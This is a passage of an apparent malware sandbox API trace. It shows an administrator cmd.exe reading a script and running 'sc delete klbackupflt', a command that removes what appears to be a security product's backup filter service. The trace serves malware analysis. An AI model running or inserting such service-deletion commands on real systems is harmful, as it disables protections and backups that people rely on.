lpDistanceToMoveHigh=0x0) returned 0x0 [0067.714] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="fisk\n64-9.4\"\n\nA\"\n") returned 1 [0067.714] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.714] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.714] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="lsk\n64-9.4\"\n\nA\"\n") returned 1 [0067.714] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.714] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.714] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="tk\n64-9.4\"\n\nA\"\n") returned 1 [0067.714] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.714] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.714] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.714] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.714] GetFileType (hFile=0xb8) returned 0x3 [0067.715] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.715] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.715] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.715] GetFileType (hFile=0x120) returned 0x3 [0067.715] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klbackupflt\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klbackupflt\n", lpUsedDefaultChar=0x0) returned 23 [0067.715] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x16, lpOverlapped=0x0) returned 1 [0067.715] GetProcessHeap () returned 0x1b0000 [0067.715] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.715] GetProcessHeap () returned 0x1b0000 [0067.715] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.715] GetProcessHeap () returned 0x1b0000 [0067.715] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.715] GetProcessHeap () returned 0x1b0000 [0067.715] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.715] GetProcessHeap () returned 0x1b0000 [0067.715] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6510 [0067.715] GetConsoleOutputCP () returned 0x1b5 [0067.716] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.716] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.716] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.716] GetProcessHeap () returned 0x1b0000 [0067.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.716] GetProcessHeap () returned 0x1b0000 [0067.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0067.716] GetProcessHeap () returned 0x1b0000 [0067.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0067.716] SetErrorMode (uMode=0x0) returned 0x1 [0067.716] SetErrorMode (uMode=0x1) returned 0x0 [0067.716] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.716] SetErrorMode (uMode=0x1) returned 0x1 [0067.716] GetProcessHeap () returned 0x1b0000 [0067.717] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0067.717] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.717] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.717] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.717] GetProcessHeap () returned 0x1b0000 [0067.717] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.717] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.717] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.718] GetLastError () returned 0x2 [0067.718] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.718] GetLastError () returned 0x2 [0067.718] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.718] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.719] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.719] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.719] GetLastError () returned 0x2 [0067.719] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.719] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.719] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.719] GetProcessHeap () returned 0x1b0000 [0067.719] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.720] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.720] GetProcessHeap () returned 0x1b0000 [0067.720] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa4) returned 0x1c9180 [0067.720] GetProcessHeap () returned 0x1b0000 [0067.720] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa4 [0067.720] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klbackupflt") returned 1 [0067.720] GetProcessHeap () returned 0x1b0000 [0067.721] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.721] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.721] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.721] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.721] GetProcessHeap () returned 0x1b0000 [0067.721] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.721] GetProcessHeap () returned 0x1b0000 [0067.721] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.721] GetProcessHeap () returned 0x1b0000 [0067.721] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.721] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klbackupflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klbackupflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klbackupflt", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb5c, dwThreadId=0xb80)) returned 1 [0067.725] CloseHandle (hObject=0x50) returned 1 [0067.725] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.725] GetProcessHeap () returned 0x1b0000 [0067.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.725] GetEnvironmentStringsW () returned 0x1cba10* [0067.725] GetProcessHeap () returned 0x1b0000 [0067.725] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0067.725] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0067.725] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.725] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.726] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0067.783] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.783] CloseHandle (hObject=0x54) returned 1 [0067.783] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.783] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.783] GetProcessHeap () returned 0x1b0000 [0067.783] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0067.783] GetEnvironmentStringsW () returned 0x1d1b10* [0067.783] GetProcessHeap () returned 0x1b0000 [0067.783] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.783] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.783] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.783] GetProcessHeap () returned 0x1b0000 [0067.783] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.783] GetEnvironmentStringsW () returned 0x1cba10* [0067.783] GetProcessHeap () returned 0x1b0000 [0067.783] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0067.783] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0067.783] GetProcessHeap () returned 0x1b0000 [0067.783] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.783] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.783] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.784] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.784] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.784] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.784] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.784] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.784] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.784] GetConsoleOutputCP () returned 0x1b5 [0067.784] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.785] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.785] GetProcessHeap () returned 0x1b0000 [0067.785] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.785] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.785] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.785] GetFileType (hFile=0x120) returned 0x3 [0067.785] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.785] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.786] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.786] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.786] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.786] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.786] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.786] GetFileType (hFile=0x120) returned 0x3 [0067.786] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.786] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.786] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.786] GetFileType (hFile=0xb8) returned 0x3 [0067.786] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.786] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.786] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.786] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.786] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.786] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.786] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.786] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.786] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.786] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.787] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.787] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.787] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.787] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.787] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.787] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.787] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.787] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.787] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.787] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.787] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.787] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.787] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.787] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.787] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.787] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.787] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.787] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.787] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.787] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.788] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.788] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klbackupflt\n\n64-9.4\"\n\nA\"\n") returned 1 [0067.788] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.788] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.788] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.788] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 